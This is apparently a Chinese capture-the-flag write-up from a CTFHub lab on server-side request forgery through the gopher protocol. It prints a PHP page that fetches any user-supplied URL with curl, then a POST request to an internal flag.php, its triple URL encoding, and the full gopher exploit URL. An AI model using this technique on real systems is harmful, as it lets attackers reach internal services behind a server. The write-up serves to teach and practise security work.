zoukankan      html  css  js  c++  java
  • CTFHUB之gopher协议实现SSRF

    介绍

    解题思路:
    利用302协议(重定向)的跳转ssrf。可以访问与服务器相连的内网

    ①什么是gopher协议

    Gopher是Internet上一个信息查找系统,它将Internet上的文件组织成某种
    索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher
    是Internet上最主要的信息检索工具。使用tcp70端口。但在WWW出现
    后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
    gopher协议支持发出GET、POST请求
    

    ②gopher协议适用条件



    ③使用步骤

    • 结构: gopher://127.0.0.1:80/内容(比如POST请求)

    其中内容可以是字符串,php代码,文件等。ip一般不用换,端口号要根据漏洞利用的环境更换。比如FASTCGI的9000端口

    • 要点:
      第一次编码要把所有的%0A换成%0D0A,后再进行两次编码
      目标文件得有一些对应的利用功能,本题采用curl执行语句进行利用

    CTFHUB SSRF题POST请求

    访问/?url=127.0.0.1/flag.php得到flag.php源码。会发现有个框框。而且该框框输入数据会提示只能内网访问。

    • 注意

    题目提示的302文件是不存在的。而index文件存在。这是题目比较坑的地方

    • 访问index.php

    /?url=file:///var/www/html/index.php 访问index.php

    • 以下是index.php源码,文中注释我自己加的。源码无注释!
    index源码
     
    if (!isset($REQUEST['url'])){
    header("Location: /?url=
    ");
    exit;
    }

    $ch = curl_init(); //初始化一次curl对话,ch返回curl句柄
    //curl_setopt为 cURL 会话句柄设置选项。
    curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要获取的 URL 地址
    curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址。
    curl_exec($ch); //执行
    curl_close($ch);

    • 思路1

    目前已知flag.php含有奇怪字符key,index.php能够接受url传参,并利用curl功能访问url传参的内容。那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包里是flag.php的key。那么就试一试吧

    • 往index.php传入我们的payload

    /?url=127.0.0.1:80/index.php?url=(gopher协议。传入post请求)

    • 请求内网80端口的POST包
    构造POST包
     
    POST /flag.php HTTP/1.1
    Host: 127.0.0.1:80
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 7
    

    key=a074471dc0ef3956ab9dd46e708cca45

    • 编码

    3次编码post请求包,全部都编码噢,把上面的请求包所有代码复制进去这个在线url编码网站:http://ctf.ssleye.com/url.html

    • 第一次编码:


    • 第二次编码

    把%0A全部替换成%0D%0A。小技巧:可以直接复制到word文档查找替换



    • 第三次编码


    • 最终得到的编码如下。可以自己对比看看
    最终编码
     
    POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-
    urlencoded%25250D%25250AContent-Length%25253A%2525207%25250D%25250A%25250D%25250Akey%25253Da074471dc0ef3956ab9dd46e708cca45
      
    • 完整payload:
    完整payload
     
    /?url=index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-
    Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%2525207%25250D%25250A%25250D%25250Akey%25253Da074471dc0ef3956a
    b9dd46e708cca45
      
    • 然后,我们拿到flag了吗?

    其实并没有,不出意外你会看到这个界面



    这是为什么呢?先别着急,我们访问的是index.php但是却看到了flag.php的信息,说明我们构造的语句是有效的!!!
    这时候往源代码去检查。也就是第9序章我写的post请求代码。发现了content-length的长度为7,这是不正确的。因为我们传入的key有36位之长

    • 改写content-length长度,加深理解。获取flag!

    把7改成36之后,成功拿到flag!



  • 相关阅读:
    C艹目录
    C艹重复输入小方法,for循环+while
    python with 语句妙用
    python with妙用
    Kali配置网卡静态信息
    Spring 之 注解详解
    html基础之 表单提交方法
    html 基础之 <link>标签
    android:padding和android:margin的区别
    css基础之 font的简写规则 以及 自定义 CSS3 @font-face详细用法
  • 原文地址:https://www.cnblogs.com/beidaxmf/p/13935298.html
Copyright © 2011-2022 走看看